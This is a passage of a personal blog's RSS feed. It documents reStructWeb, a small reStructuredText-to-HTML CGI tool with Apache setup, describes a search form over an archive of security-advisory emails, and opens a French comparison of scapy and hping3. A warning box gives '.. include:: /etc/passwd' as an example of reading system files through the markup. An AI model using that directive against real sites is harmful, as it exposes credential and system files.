&lt;/ol&gt;
&lt;p&gt;reStructWeb script will ask you to create a page in case it don't exist or
will ask you for the modification of an existing page. It generates thereafter
html pages in the various languages and Apache will be able to send them in a
traditional way.&lt;/p&gt;
&lt;p&gt;Apache requires a small configuration to redirect the requests towards
reStructWeb. You can however configure to use reStructWeb in a traditional way
like a cgi, for example:&lt;/p&gt;
&lt;p&gt;With Apache settings&lt;/p&gt;
&lt;pre class=&quot;literal-block&quot; style=&quot;margin-left: 2em; margin-right: 2em; background-color: rgb(238, 238, 238);&quot;&gt;
http://www.test.com/index.html.en
&lt;/pre&gt;
&lt;p&gt;Without Apache setting&lt;/p&gt;
&lt;pre class=&quot;literal-block&quot; style=&quot;margin-left: 2em; margin-right: 2em; background-color: rgb(238, 238, 238);&quot;&gt;
http://www.test.com/rstweb.cgi/index.html.en
&lt;/pre&gt;&lt;/div&gt;
&lt;div class=&quot;section&quot; id=&quot;what-restructweb-is-not&quot; style=&quot;&quot;&gt;
&lt;h3&gt;&lt;a href=&quot;http://blog.ombrepixel.com/post/2009/05/04/&quot; style=&quot;&quot;&gt;&lt;/a&gt;&lt;/h3&gt;
&lt;div class=&quot;section&quot; id=&quot;what-restructweb-is-not&quot; style=&quot;display: inline ! important;&quot;&gt;&lt;/div&gt;
&lt;h2 style=&quot;display: inline ! important;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: 14px; text-decoration: none;&quot;&gt;What reStructWeb is not&lt;/span&gt;&lt;/h2&gt;
&lt;/div&gt;
&lt;a href=&quot;http://blog.ombrepixel.com/post/2009/05/04/&quot; style=&quot;text-decoration: none;&quot;&gt;&lt;br /&gt;&lt;/a&gt;
&lt;div class=&quot;section&quot; id=&quot;what-restructweb-is-not&quot;&gt;
&lt;p&gt;reStructWeb is a small script which I wrote for my needs only. It was not
thought and not designed at all for a system having to be managed by several
people. There is no management of users, no modifications history and the
safety options are non-existent : The permission of modification of the site is
based on a single password, the magicWord: -)&lt;/p&gt;
&lt;div class=&quot;attention&quot; style=&quot;margin: 2em; border-width: medium; border-style: outset; padding: 1em;&quot;&gt;
&lt;p class=&quot;admonition-title first&quot; style=&quot;margin-top: 0; color: red; font-weight: bold; font-family: sans-serif;&quot;&gt;
Attention!&lt;/p&gt;
&lt;p&gt;Do not let anonymous users modify the contents of your website. reStructWeb
is &lt;strong&gt;not&lt;/strong&gt; a &lt;a class=&quot;reference&quot; href=&quot;http://c2.com/cgi/wiki?WikiWikiWeb&quot;&gt;Wiki&lt;/a&gt;. An badly-attentive user can
divert the use of the reStructuredText to try to compromise the system. Example
:&lt;/p&gt;
&lt;pre class=&quot;literal-block&quot; style=&quot;margin-left: 2em; margin-right: 2em; background-color: rgb(238, 238, 238);&quot;&gt;
.. include:: /etc/passwd
&lt;/pre&gt;
&lt;p&gt;It is thus possible to include the contents in the page of any file on the
system (for which the user of apache as the rights for reading).&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;This said, it is very fast &lt;a class=&quot;footnote-reference&quot; href=&quot;http://retina.free.fr/drobert/restructweb.html.en#id2&quot; id=&quot;id1&quot; name=&quot;id1&quot;&gt;&lt;sup&gt;1&lt;/sup&gt;&lt;/a&gt; , very light, very simple to implement (a single
file and four parameters)&lt;/p&gt;
&lt;table class=&quot;footnote&quot; id=&quot;id2&quot; style=&quot;margin-top: 0.5em; margin-bottom: 0.5em; border-left: thin solid black; padding-left: 0.5ex;&quot; rules=&quot;none&quot; frame=&quot;void&quot;&gt;
&lt;colgroup&gt;
&lt;col class=&quot;label&quot; /&gt;&lt;/colgroup&gt;
&lt;tbody valign=&quot;top&quot;&gt;
&lt;tr&gt;
&lt;td class=&quot;label&quot; style=&quot;padding-left: 0.5em; padding-right: 0.5em; vertical-align: top;&quot;&gt;&lt;a class=&quot;fn-backref&quot; href=&quot;http://retina.free.fr/drobert/restructweb.html.en#id1&quot; name=&quot;id2&quot; id=&quot;id2&quot;&gt;[1]&lt;/a&gt;&lt;/td&gt;
&lt;td style=&quot;padding-left: 0.5em; padding-right: 0.5em; vertical-align: top;&quot;&gt;It
is not the reStructWeb script which is fast, but the Apache sending of static
pages. What is practically always the case on my site.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;div class=&quot;section&quot; id=&quot;download&quot;&gt;
&lt;h3&gt;Download&lt;/h3&gt;
&lt;ul class=&quot;simple&quot; style=&quot;margin-bottom: 1em;&quot;&gt;
&lt;li&gt;Version 0.2 - magicword is now used when you want to create a link
: &lt;a class=&quot;reference&quot; href=&quot;http://retina.free.fr/drobert/st/files/reStructWeb-0.2.tar.gz&quot;&gt;download&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;section&quot; id=&quot;configuration&quot;&gt;
&lt;h3&gt;Configuration&lt;/h3&gt;
&lt;div class=&quot;section&quot; id=&quot;standalone-mode&quot;&gt;
&lt;h4&gt;Standalone mode&lt;/h4&gt;
&lt;p&gt;In this mode, there is no &lt;a class=&quot;reference&quot; href=&quot;http://www.apache.org/&quot;&gt;Apache&lt;/a&gt; configuration. You only need to to
copy the script in the directory &lt;tt class=&quot;literal&quot; style=&quot;background-color: rgb(238, 238, 238);&quot;&gt;&lt;span class=&quot;pre&quot; style=&quot;white-space: pre;&quot;&gt;cgi-bin&lt;/span&gt;&lt;/tt&gt;.&lt;/p&gt;
&lt;ol class=&quot;arabic simple&quot; style=&quot;margin-bottom: 1em; list-style-type: decimal;&quot;&gt;
&lt;li&gt;Install &lt;a class=&quot;reference&quot; href=&quot;http://docutils.sourceforge.net/&quot;&gt;docutils&lt;/a&gt;, &lt;a class=&quot;reference&quot; href=&quot;http://retina.free.fr/drobert/st/files/reStructWeb-0.2.tar.gz&quot;&gt;Download&lt;/a&gt; reStructWeb&lt;/li&gt;
&lt;li&gt;Copy the file &lt;tt class=&quot;literal&quot; style=&quot;background-color: rgb(238, 238, 238);&quot;&gt;&lt;span class=&quot;pre&quot; style=&quot;white-space: pre;&quot;&gt;rstgen.py&lt;/span&gt;&lt;/tt&gt; in &lt;tt class=&quot;literal&quot; style=&quot;background-color: rgb(238, 238, 238);&quot;&gt;&lt;span class=&quot;pre&quot; style=&quot;white-space: pre;&quot;&gt;cgi-bin&lt;/span&gt;&lt;/tt&gt; directory&lt;/li&gt;
&lt;li&gt;Modify if you need the parameters in &lt;tt class=&quot;literal&quot; style=&quot;background-color: rgb(238, 238, 238);&quot;&gt;&lt;span class=&quot;pre&quot; style=&quot;white-space: pre;&quot;&gt;rstgen.py&lt;/span&gt;&lt;/tt&gt;&lt;/li&gt;
&lt;li&gt;Create the reStructWeb working directory&lt;/li&gt;
&lt;li&gt;Change the directory permissions (the user running apache must be able to
modify and create files in this directory)&lt;/li&gt;
&lt;li&gt;Copy the templates files in the working directory: &lt;tt class=&quot;literal&quot; style=&quot;background-color: rgb(238, 238, 238);&quot;&gt;&lt;span class=&quot;pre&quot; style=&quot;white-space: pre;&quot;&gt;default.tmpl.fr&lt;/span&gt;&lt;/tt&gt;, &lt;tt class=&quot;literal&quot; style=&quot;background-color: rgb(238, 238, 238);&quot;&gt;&lt;span class=&quot;pre&quot; style=&quot;white-space: pre;&quot;&gt;default.tmpl.en&lt;/span&gt;&lt;/tt&gt;&lt;/li&gt;
&lt;li&gt;Test&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
&lt;div class=&quot;section&quot; id=&quot;apache-redirect-mode&quot;&gt;
&lt;h4&gt;Apache redirect mode&lt;/h4&gt;
&lt;p&gt;proceed as for the standalone mode and to configure Apache in the following
way :&lt;/p&gt;
&lt;pre class=&quot;literal-block&quot; style=&quot;margin-left: 2em; margin-right: 2em; background-color: rgb(238, 238, 238);&quot;&gt;
Script GET /cgi-bin/rstgen.py&lt;br /&gt;
Script POST /cgi-bin/rstgen.py&lt;br /&gt;
ErrorDocument 404 /cgi-bin/rstgen.py
&lt;/pre&gt;&lt;/div&gt;
&lt;div class=&quot;section&quot; id=&quot;my-configuration&quot;&gt;
&lt;h3&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: rgb(0, 0, 0); text-decoration: none;&quot;&gt;My configuration&lt;/span&gt;&lt;/h3&gt;
&lt;p&gt;On my computer, the working directory is &lt;tt class=&quot;literal&quot; style=&quot;background-color: rgb(238, 238, 238);&quot;&gt;&lt;span class=&quot;pre&quot; style=&quot;white-space: pre;&quot;&gt;/home/web/david/pages&lt;/span&gt;&lt;/tt&gt;, &lt;tt class=&quot;literal&quot; style=&quot;background-color: rgb(238, 238, 238);&quot;&gt;&lt;span class=&quot;pre&quot; style=&quot;white-space: pre;&quot;&gt;rstgen.py&lt;/span&gt;&lt;/tt&gt; is copied in the&lt;tt class=&quot;literal&quot; style=&quot;background-color: rgb(238, 238, 238);&quot;&gt;&lt;span class=&quot;pre&quot; style=&quot;white-space: pre;&quot;&gt;/home/web/david/cgi-bin&lt;/span&gt;&lt;/tt&gt; directory.&lt;/p&gt;
&lt;p&gt;Here is my Apache configuration :&lt;/p&gt;
&lt;pre class=&quot;literal-block&quot; style=&quot;margin-left: 2em; margin-right: 2em; background-color: rgb(238, 238, 238);&quot;&gt;
&amp;lt;Directory &amp;quot;/home/web/david/pages&amp;quot;&amp;gt;&lt;br /&gt;
Options FollowSymLinks MultiViews +Includes&lt;br /&gt;
Script GET /drobert/admin&lt;br /&gt;
Script POST /drobert/admin&lt;br /&gt;
ErrorDocument 404 /drobert/admin&lt;br /&gt;
AddDefaultCharset UTF-8&lt;br /&gt;
&amp;lt;/Directory&amp;gt;&lt;br /&gt;
&amp;lt;Directory &amp;quot;/home/web/david/pages/st&amp;quot;&amp;gt;&lt;br /&gt;
Options Indexes FollowSymLinks MultiViews +Includes&lt;br /&gt;
AddDefaultCharset ISO-8859-1&lt;br /&gt;
&amp;lt;/Directory&amp;gt;&lt;br /&gt;
&amp;lt;VirtualHost *&amp;gt;&lt;br /&gt;
ServerAdmin webmaster@ombrepixel.com&lt;br /&gt;
DocumentRoot /var/www/ombrepixel.com&lt;br /&gt;
ServerName www.ombrepixel.com&lt;br /&gt;
ServerAlias ombrepixel.com&lt;br /&gt;
ErrorLog logs/www.ombrepixel.com-error_log&lt;br /&gt;
CustomLog logs/www.ombrepixel.com-access_log combined&lt;br /&gt;
ScriptAlias /drobert/admin /home/web/david/cgi-bin/rstgen.py&lt;br /&gt;
Alias /drobert /home/web/david/pages/&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;div class=&quot;section&quot; id=&quot;templates&quot;&gt;
&lt;h3&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: rgb(0, 0, 0); text-decoration: none;&quot;&gt;Templates&lt;/span&gt;&lt;/h3&gt;
&lt;div class=&quot;section&quot; id=&quot;about&quot;&gt;
&lt;h3&gt;&lt;a class=&quot;toc-backref&quot; href=&quot;http://retina.free.fr/drobert/restructweb.html.en#id16&quot; name=&quot;about&quot; style=&quot;text-decoration: none; color: black;&quot; id=&quot;about&quot;&gt;About&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;The appearance of each page can be completely customized because the system
uses templates. It is completely possible to make a really nice website by
using reStructWeb (not like this one).&lt;/p&gt;
&lt;p&gt;The templates are files with the &lt;tt class=&quot;literal&quot; style=&quot;background-color: rgb(238, 238, 238);&quot;&gt;&lt;span class=&quot;pre&quot; style=&quot;white-space: pre;&quot;&gt;.tmpl&lt;/span&gt;&lt;/tt&gt; extension located in the working
directory. You need a default template for each language your website support,
thus,on my site, two files are present on the working directory :&lt;/p&gt;
&lt;ul class=&quot;simple&quot; style=&quot;margin-bottom: 1em;&quot;&gt;
&lt;li&gt;&lt;tt class=&quot;literal&quot; style=&quot;background-color: rgb(238, 238, 238);&quot;&gt;&lt;span class=&quot;pre&quot; style=&quot;white-space: pre;&quot;&gt;default.tmpl.fr&lt;/span&gt;&lt;/tt&gt;&lt;/li&gt;
&lt;li&gt;&lt;tt class=&quot;literal&quot; style=&quot;background-color: rgb(238, 238, 238);&quot;&gt;&lt;span class=&quot;pre&quot; style=&quot;white-space: pre;&quot;&gt;default.tmpl.en&lt;/span&gt;&lt;/tt&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;They are the default templates for all the pages, in French and English.&lt;/p&gt;
&lt;p&gt;You can create templates specific to each page with the
filename &lt;tt class=&quot;literal&quot; style=&quot;background-color: rgb(238, 238, 238);&quot;&gt;&lt;span class=&quot;pre&quot; style=&quot;white-space: pre;&quot;&gt;page_name.tmpl.en&lt;/span&gt;&lt;/tt&gt;. For example if I want a
customized template for the reStructWeb page, you just have to create the
files &lt;tt class=&quot;literal&quot; style=&quot;background-color: rgb(238, 238, 238);&quot;&gt;&lt;span class=&quot;pre&quot; style=&quot;white-space: pre;&quot;&gt;restructweb.tmpl.en&lt;/span&gt;&lt;/tt&gt; and
restructweb.tmpl.fr``.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;section&quot; id=&quot;templates-variables&quot;&gt;
&lt;h3&gt;&lt;a class=&quot;toc-backref&quot; href=&quot;http://retina.free.fr/drobert/restructweb.html.en#id17&quot; name=&quot;templates-variables&quot; style=&quot;text-decoration: none; color: black;&quot; id=&quot;templates-variables&quot;&gt;Templates variables&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;The template file is a pure html file in which a certain number of variables
are replaced by dynamic contents. Currently, reStructWeb makes it possible to
use the following variables :&lt;/p&gt;
&lt;table class=&quot;table&quot; style=&quot;margin-top: 0.5em; margin-bottom: 0.5em;&quot; border=&quot;1&quot;&gt;
&lt;colgroup&gt;
&lt;col width=&quot;37%&quot; /&gt;
&lt;col width=&quot;63%&quot; /&gt;&lt;/colgroup&gt;
&lt;thead valign=&quot;bottom&quot;&gt;
&lt;tr&gt;
&lt;th style=&quot;padding-left: 0.5em; padding-right: 0.5em; vertical-align: top;&quot;&gt;
Variables&lt;/th&gt;
&lt;th style=&quot;padding-left: 0.5em; padding-right: 0.5em; vertical-align: top;&quot;&gt;
Replaced by&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody valign=&quot;top&quot;&gt;
&lt;tr&gt;
&lt;td style=&quot;padding-left: 0.5em; padding-right: 0.5em; vertical-align: top;&quot;&gt;
&lt;tt class=&quot;literal&quot; style=&quot;background-color: rgb(238, 238, 238);&quot;&gt;&lt;span class=&quot;pre&quot; style=&quot;white-space: pre;&quot;&gt;$title&lt;/span&gt;&lt;/tt&gt;&lt;/td&gt;
&lt;td style=&quot;padding-left: 0.5em; padding-right: 0.5em; vertical-align: top;&quot;&gt;
Title &lt;a class=&quot;footnote-reference&quot; href=&quot;http://retina.free.fr/drobert/restructweb.html.en#id5&quot; id=&quot;id4&quot; name=&quot;id4&quot;&gt;&lt;sup&gt;2&lt;/sup&gt;&lt;/a&gt; of the page&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding-left: 0.5em; padding-right: 0.5em; vertical-align: top;&quot;&gt;
&lt;tt class=&quot;literal&quot; style=&quot;background-color: rgb(238, 238, 238);&quot;&gt;&lt;span class=&quot;pre&quot; style=&quot;white-space: pre;&quot;&gt;$body&lt;/span&gt;&lt;/tt&gt;&lt;/td&gt;
&lt;td style=&quot;padding-left: 0.5em; padding-right: 0.5em; vertical-align: top;&quot;&gt;
Body of the page&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding-left: 0.5em; padding-right: 0.5em; vertical-align: top;&quot;&gt;
&lt;tt class=&quot;literal&quot; style=&quot;background-color: rgb(238, 238, 238);&quot;&gt;&lt;span class=&quot;pre&quot; style=&quot;white-space: pre;&quot;&gt;$sourceUrl&lt;/span&gt;&lt;/tt&gt;&lt;/td&gt;
&lt;td style=&quot;padding-left: 0.5em; padding-right: 0.5em; vertical-align: top;&quot;&gt;
Page source url&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding-left: 0.5em; padding-right: 0.5em; vertical-align: top;&quot;&gt;
&lt;tt class=&quot;literal&quot; style=&quot;background-color: rgb(238, 238, 238);&quot;&gt;&lt;span class=&quot;pre&quot; style=&quot;white-space: pre;&quot;&gt;$editUrl&lt;/span&gt;&lt;/tt&gt;&lt;/td&gt;
&lt;td style=&quot;padding-left: 0.5em; padding-right: 0.5em; vertical-align: top;&quot;&gt;
Page edit url&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding-left: 0.5em; padding-right: 0.5em; vertical-align: top;&quot;&gt;
&lt;tt class=&quot;literal&quot; style=&quot;background-color: rgb(238, 238, 238);&quot;&gt;&lt;span class=&quot;pre&quot; style=&quot;white-space: pre;&quot;&gt;$enUrl&lt;/span&gt;&lt;/tt&gt;&lt;/td&gt;
&lt;td style=&quot;padding-left: 0.5em; padding-right: 0.5em; vertical-align: top;&quot;&gt;
English version url&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding-left: 0.5em; padding-right: 0.5em; vertical-align: top;&quot;&gt;
&lt;tt class=&quot;literal&quot; style=&quot;background-color: rgb(238, 238, 238);&quot;&gt;&lt;span class=&quot;pre&quot; style=&quot;white-space: pre;&quot;&gt;$frUrl&lt;/span&gt;&lt;/tt&gt;&lt;/td&gt;
&lt;td style=&quot;padding-left: 0.5em; padding-right: 0.5em; vertical-align: top;&quot;&gt;
French version url&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding-left: 0.5em; padding-right: 0.5em; vertical-align: top;&quot;&gt;
&lt;tt class=&quot;literal&quot; style=&quot;background-color: rgb(238, 238, 238);&quot;&gt;&lt;span class=&quot;pre&quot; style=&quot;white-space: pre;&quot;&gt;$lastModified&lt;/span&gt;&lt;/tt&gt;&lt;/td&gt;
&lt;td style=&quot;padding-left: 0.5em; padding-right: 0.5em; vertical-align: top;&quot;&gt;
Last modified date&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;table class=&quot;footnote&quot; id=&quot;id5&quot; style=&quot;margin-top: 0.5em; margin-bottom: 0.5em; border-left: thin solid black; padding-left: 0.5ex;&quot; rules=&quot;none&quot; frame=&quot;void&quot;&gt;
&lt;colgroup&gt;
&lt;col class=&quot;label&quot; /&gt;&lt;/colgroup&gt;
&lt;tbody valign=&quot;top&quot;&gt;
&lt;tr&gt;
&lt;td class=&quot;label&quot; style=&quot;padding-left: 0.5em; padding-right: 0.5em; vertical-align: top;&quot;&gt;&lt;a class=&quot;fn-backref&quot; href=&quot;http://retina.free.fr/drobert/restructweb.html.en#id4&quot; name=&quot;id5&quot; id=&quot;id5&quot;&gt;[2]&lt;/a&gt;&lt;/td&gt;
&lt;td style=&quot;padding-left: 0.5em; padding-right: 0.5em; vertical-align: top;&quot;&gt;
Title is defined in the &lt;a class=&quot;reference&quot; href=&quot;http://docutils.sourceforge.net/rst.html&quot;&gt;reStructuredText&lt;/a&gt; (name of
first section)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;section&quot; id=&quot;bugs-to-make&quot;&gt;
&lt;h3&gt;Bugs / To make&lt;/h3&gt;
&lt;ul class=&quot;simple&quot; style=&quot;margin-bottom: 1em;&quot;&gt;
&lt;li&gt;I noticed that under IE by making &lt;a class=&quot;reference&quot; href=&quot;http://www.ombrepixel.com/drobert/restructweb&quot;&gt;http://www.ombrepixel.com/drobert/restructweb&lt;/a&gt; one
arrives directly on document RST and not HTML&lt;/li&gt;
&lt;li&gt;Dictionary&lt;/li&gt;
&lt;li&gt;Need to create dynamic language url variable&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;section&quot; id=&quot;other-projects&quot;&gt;
&lt;h3&gt;Other projects&lt;/h3&gt;
&lt;ul class=&quot;simple&quot; style=&quot;margin-bottom: 1em;&quot;&gt;
&lt;li&gt;Ian Bicking reST wiki : &lt;a class=&quot;reference&quot; href=&quot;http://wiki.webwareforpython.org/thiswiki&quot;&gt;http://wiki.webwareforpython.org/thiswiki&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;</description>
    
    
    
      </item>
    
  <item>
    <title>Search my imap folder</title>
    <link>http://blog.ombrepixel.com/post/2009/05/04/Search-my-imap-folder</link>
    <guid isPermaLink="false">urn:md5:08c72f946e96981986734a03e3513ea3</guid>
    <pubDate>Wed, 11 Apr 2007 19:39:00 +0100</pubDate>
    <dc:creator>castlebbs</dc:creator>
        <category>Development</category>
            
    <description>    &lt;div class=&quot;document&quot; id=&quot;search-my-imap-folder&quot;&gt;
&lt;div class=&quot;section&quot; id=&quot;how-to-use-the-search&quot;&gt;
&lt;h3&gt;&lt;a name=&quot;how-to-use-the-search&quot; id=&quot;how-to-use-the-search&quot;&gt;How to use the
search&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;I keep since a few years emails from security mailing-lists. Theses emails
are stored in a single folder which can be search using this form :&lt;/p&gt;
&lt;form action=&quot;http://retina.free.fr/drobert/cgi-bin/ssearch/search.py&quot; method=&quot;post&quot;&gt;&lt;input name=&quot;requete&quot; value=&quot;&quot; size=&quot;70&quot; type=&quot;text&quot; /&gt; &lt;input name=&quot;submit&quot; value=&quot;Search&quot; type=&quot;submit&quot; /&gt;&lt;/form&gt;
&lt;p&gt;Search duration can be long, it often exeed 60 seconds. Sorry for the times,
I'll have to set up an indexed folder.&lt;/p&gt;
&lt;p&gt;The search is done on the body of the message and not the subject or other
message header. The query language is strict but intuitive. Here some examples
in way of explanation :&lt;/p&gt;
&lt;ul class=&quot;simple&quot;&gt;
&lt;li&gt;&lt;tt class=&quot;literal&quot; style=&quot;&quot;&gt;&lt;span class=&quot;pre&quot; style=&quot;white-space: pre;&quot;&gt;&amp;quot;php&lt;/span&gt; &lt;span class=&quot;pre&quot; style=&quot;white-space: pre;&quot;&gt;4&amp;quot;&lt;/span&gt; &lt;span class=&quot;pre&quot; style=&quot;white-space: pre;&quot;&gt;and&lt;/span&gt; &lt;span class=&quot;pre&quot; style=&quot;white-space: pre;&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;pre&quot; style=&quot;white-space: pre;&quot;&gt;exploit&lt;/span&gt; &lt;span class=&quot;pre&quot; style=&quot;white-space: pre;&quot;&gt;or&lt;/span&gt; &lt;span class=&quot;pre&quot; style=&quot;white-space: pre;&quot;&gt;advisory&lt;/span&gt; &lt;span class=&quot;pre&quot; style=&quot;white-space: pre;&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;pre&quot; style=&quot;white-space: pre;&quot;&gt;and&lt;/span&gt; &lt;span class=&quot;pre&quot; style=&quot;white-space: pre;&quot;&gt;not&lt;/span&gt; &lt;span class=&quot;pre&quot; style=&quot;white-space: pre;&quot;&gt;phpbb&lt;/span&gt;&lt;/tt&gt;&lt;/li&gt;
&lt;li&gt;&lt;tt class=&quot;literal&quot; style=&quot;&quot;&gt;&lt;span class=&quot;pre&quot; style=&quot;white-space: pre;&quot;&gt;&amp;quot;sql&lt;/span&gt; &lt;span class=&quot;pre&quot; style=&quot;white-space: pre;&quot;&gt;injection&amp;quot;&lt;/span&gt; &lt;span class=&quot;pre&quot; style=&quot;white-space: pre;&quot;&gt;and&lt;/span&gt; &lt;span class=&quot;pre&quot; style=&quot;white-space: pre;&quot;&gt;union&lt;/span&gt; &lt;span class=&quot;pre&quot; style=&quot;white-space: pre;&quot;&gt;and&lt;/span&gt; &lt;span class=&quot;pre&quot; style=&quot;white-space: pre;&quot;&gt;not&lt;/span&gt; &lt;span class=&quot;pre&quot; style=&quot;white-space: pre;&quot;&gt;magic_quotes_gpc&lt;/span&gt;&lt;/tt&gt;&lt;/li&gt;
&lt;li&gt;&lt;tt class=&quot;literal&quot; style=&quot;&quot;&gt;&lt;span class=&quot;pre&quot; style=&quot;white-space: pre;&quot;&gt;&amp;quot;from&lt;/span&gt; &lt;span class=&quot;pre&quot; style=&quot;white-space: pre;&quot;&gt;remote&amp;quot;&lt;/span&gt; &lt;span class=&quot;pre&quot; style=&quot;white-space: pre;&quot;&gt;and&lt;/span&gt; &lt;span class=&quot;pre&quot; style=&quot;white-space: pre;&quot;&gt;critical&lt;/span&gt; &lt;span class=&quot;pre&quot; style=&quot;white-space: pre;&quot;&gt;and&lt;/span&gt; &lt;span class=&quot;pre&quot; style=&quot;white-space: pre;&quot;&gt;hp-ux&lt;/span&gt;&lt;/tt&gt;&lt;/li&gt;
&lt;li&gt;&lt;tt class=&quot;literal&quot; style=&quot;&quot;&gt;&lt;span class=&quot;pre&quot; style=&quot;white-space: pre;&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;pre&quot; style=&quot;white-space: pre;&quot;&gt;&amp;quot;php&lt;/span&gt; &lt;span class=&quot;pre&quot; style=&quot;white-space: pre;&quot;&gt;4&amp;quot;&lt;/span&gt; &lt;span class=&quot;pre&quot; style=&quot;white-space: pre;&quot;&gt;or&lt;/span&gt; &lt;span class=&quot;pre&quot; style=&quot;white-space: pre;&quot;&gt;php-4)&lt;/span&gt; &lt;span class=&quot;pre&quot; style=&quot;white-space: pre;&quot;&gt;and&lt;/span&gt; &lt;span class=&quot;pre&quot; style=&quot;white-space: pre;&quot;&gt;not&lt;/span&gt; &lt;span class=&quot;pre&quot; style=&quot;white-space: pre;&quot;&gt;phpbb&lt;/span&gt;&lt;/tt&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;implicit &amp;quot;and&amp;quot; :&lt;/p&gt;
&lt;ul class=&quot;simple&quot;&gt;
&lt;li&gt;&lt;tt class=&quot;literal&quot; style=&quot;&quot;&gt;&lt;span class=&quot;pre&quot; style=&quot;white-space: pre;&quot;&gt;rhsa&lt;/span&gt; &lt;span class=&quot;pre&quot; style=&quot;white-space: pre;&quot;&gt;apache&lt;/span&gt;&lt;/tt&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;section&quot; id=&quot;some-explanations&quot;&gt;
&lt;h3&gt;&lt;a name=&quot;some-explanations&quot; id=&quot;some-explanations&quot;&gt;Some
explanations&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;I wrote a small program in python that can query my advisories email folder.
I wished to be able to have a advanced query language, independent from
the &lt;a class=&quot;reference&quot; href=&quot;http://www.imap.org/&quot;&gt;IMAP4&lt;/a&gt; language. This abstraction is also made
to avoid the risks of IMAP commands injections and also to be able to query
other subsystems than IMAP.&lt;/p&gt;
&lt;p&gt;As I've set up the form on my website for my own use, I let other people
benefit from it (even if their number is negligible: -)&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;section&quot; id=&quot;more-details&quot;&gt;
&lt;h3&gt;&lt;a name=&quot;more-details&quot; id=&quot;more-details&quot;&gt;More details&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;My program uses a lex and yacc python implementation : &lt;a class=&quot;reference&quot; href=&quot;http://www.dabeaz.com/ply/&quot;&gt;ply&lt;/a&gt;. the grammatical analyzer
transforms my query into an Abstract Syntax Tree (&lt;a class=&quot;reference&quot; href=&quot;http://en.wikipedia.org/wiki/Abstract_syntax_tree&quot;&gt;AST&lt;/a&gt;). This tree is then
transformed into an IMAP4 query string.&lt;/p&gt;
&lt;p&gt;The grammar I have defined for the query language :&lt;/p&gt;
&lt;pre class=&quot;literal-block&quot; style=&quot;&quot;&gt;
expression : expression AND term&lt;br /&gt;
| expression OR term&lt;br /&gt;
| term&lt;br /&gt;
term  : NOT term&lt;br /&gt;
| QWORDS&lt;br /&gt;
| WORD&lt;br /&gt;
| LPAREN expression RPAREN
&lt;/pre&gt;
&lt;p&gt;For more details, look at the &lt;a class=&quot;reference&quot; href=&quot;http://retina.free.fr/drobert/st/source/ssearch/&quot;&gt;source&lt;/a&gt; code.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;</description>
    
    
    
      </item>
    
  <item>
    <title>scapy vs hping3 : spectrographe de distribution ISN</title>
    <link>http://blog.ombrepixel.com/post/2007/03/21/6-scapy-versus-hping3</link>
    <guid isPermaLink="false">urn:md5:9f6295b9aad3295120ff422d24f23bcb</guid>
    <pubDate>Wed, 21 Mar 2007 17:58:00 +0000</pubDate>
    <dc:creator>castlebbs</dc:creator>
        <category>Tools</category>
            
    <description>&lt;p&gt;&lt;code&gt;scapy&lt;/code&gt; et &lt;code&gt;hping3&lt;/code&gt; sont des outils de manipulation de
paquets réseau. Ce sont des couteaux suisses de la fabrication, de l'envoi et
de la réception de paquets. M'intéressant particulièrement à Python, je me suis
naturellement intéressé à scapy. Il existe d'autres outils et bibliothèques
pour python (par exemple &lt;a href=&quot;http://oss.coresecurity.com/projects/impacket.html&quot; hreflang=&quot;en&quot;&gt;impaquet&lt;/a&gt;, pcapy). Le les présenterai dans d'autres billets. Hping3 est
un autre outil très puissant intégrant un interpréteur tcl, je me suis donc
intéressé à comparer ces deux produits. Ce billet présente mes débuts de
comparaison et n'est pas fait pour être exhaustif sur le sujet. Il est juste là
pour recueillir mes premières impressions&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;http://www.secdev.org/projects/scapy/&quot;&gt;scapy&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://www.hping.org/&quot;&gt;hping3&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Pour commencer ma comparaison j'ai décidé d'écrire en Python/Scapy le
